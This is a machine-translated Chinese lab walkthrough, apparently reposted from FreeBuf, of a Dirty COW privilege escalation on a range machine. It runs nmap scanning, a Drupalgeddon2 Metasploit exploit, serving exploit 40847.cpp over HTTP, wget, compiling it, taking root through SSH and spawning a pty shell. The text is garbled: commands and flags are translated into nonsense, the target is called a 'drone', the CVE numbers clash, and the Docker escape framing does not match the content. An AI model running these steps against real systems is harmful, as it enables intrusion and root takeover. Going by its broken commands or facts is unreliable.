发布于周五 15:444天前 **写在前面** 目前Docker逃逸的原因可以分为三类: 1.内核导致的脏牛实现逃逸----CVE-2019-5195 2、软件程序引发的Docker逃逸漏洞----CVE-2019-5736 3、docker配置不当引起的----特权(特权模式)逃逸、未经授权访问dock远程api导致的逃逸等。 # 由内核漏洞——Dirty COW(CVE-2016-5195)引起 **原理:** 处理写时复制(COW) 的Linux 内核子系统会产生竞争条件,使恶意用户能够获得高权限并访问只读内存映射。 竞争条件是指任务执行的异常顺序,这可能导致应用程序崩溃,或者给攻击者提供进一步执行其他代码的机会。通过利用该漏洞,攻击者可以提升目标系统的权限,甚至可能获得root权限。 **受影响的版本:** 该漏洞可以在所有版本的Linux系统(Linux内核=2.6.22)中实现提权。 #信息收集 目标无人机:192.168.200.49 卡莉:192.168.200.14 射击场环境页面: ## 1.通过nmap扫描存活主机,确认目标IP ```` nmap -sP 192.168.200.0/24 -T4 ```` 通过目标机的MAC地址可以更准确的确认目标机的IP地址 ## 2.扫描目标机开放的端口和服务 ```` nmap -sV -p-192.168.200.49 `` 确认开放的端口为:22、80、1898 开通192.168.200.49 192.168.200.49:1898 检测来自该网页的信息 您可以找到CMS Drupal 7 ## 3.使用msf内置exp 选择(exploit/unix/webapp/drupal\\_drupalgeddon2)来利用 只需输入命令并等待 当前为低权限用户 ```` 利用/运行 shell #用echo转换为shell `` ## 此时查看所有文件,但无法访问根文件夹 ```` ls -al #列出所有文件,包括隐藏文件 光盘根目录 `` 目标无人机内核版本 # 脏牛权利提升 ## 1.使用searchsploit工具找到提权脚本 找到本地文件的具体位置,将脚本文件复制到/home/kali目录下,且不损坏原文件。 ```` 搜索漏洞脏 locate linux/local/40847.cpp #定位40847.cpp的位置 cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp #复制40847.cpp到/tmp目录 ```` ## 2.上传文件到目标机器并执行 1、启动/home/kali目录下的http服务。 然后目标主机通过wget将其下载到本地,然后编译.cpp文件得到可执行文件。直接执行即可获取root账户的密码。 ```` python -m http.server 8899 `` 3、在目标主机上下载40847.cpp文件,并编译成40847可执行文件 ```` wget http://192.168.200.14:8899/40847.cpp `` ```` g++ -Wall -学究式-O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil ls -al #列出所有文件和目录,包括隐藏文件 Wall 通常使用此选项来允许GCC 提供的所有有用警告。 pedantic 允许发出ANSI/ISO C 标准中列出的所有警告 O2 编译器有4 个级别的优化选项。 -O0表示不优化,-O1是默认值,-O3具有最高优化级别。 std=c++11 根据C++2011标准编译 pthread 在Linux中使用多线程时,需要链接pthread库 o 40847.gcc生成的目标文件名为40847 `` 4.执行并获取root账号和密码 ```` ./40847 #获取root密码为dirtyCowFun `` 首先登录目标机或者通过ssh远程登录(22端口开放) 用户名root,密码dirtyCowFun 二、使用ssh远程登录 ```` ssh [email protected] 肮脏的牛乐趣 `` 第三,这里不能直接切换到root用户。您需要打开一个终端。 ```` python -c '导入pty; pty.spawn(\'/bin/bash\')' ```` 现在是一个shell 会话。打开终端后,就像一个连接到sh的交互式shell。 例如,连接xshell时,会弹出一个框要求您输入密码。将用户添加到命令时,系统将提示您在下一步中输入密码来执行它。命令输出后,如果没有交互,对方就会卡住输入命令。 因此,这个漏洞需要具有交互性。没有交互性,它就行不通。命令输出后就相当于被执行了。但有些命令执行后,会有交互信息。需要询问ok或yes或no,所以需要做一个交互式命令来echo。交互成功正常打开,执行脚本文件。 # 提权总结: **流程** 1. 检测目标和端口 2. MSF搜索可以使用CMS工具来建立连接。转载自freebuf:[https://www.freebuf.com/articles/web/387386.html](https://www.freebuf.com/articles/web/387386.html) 作者:Koi
创建帐户或登录后发表意见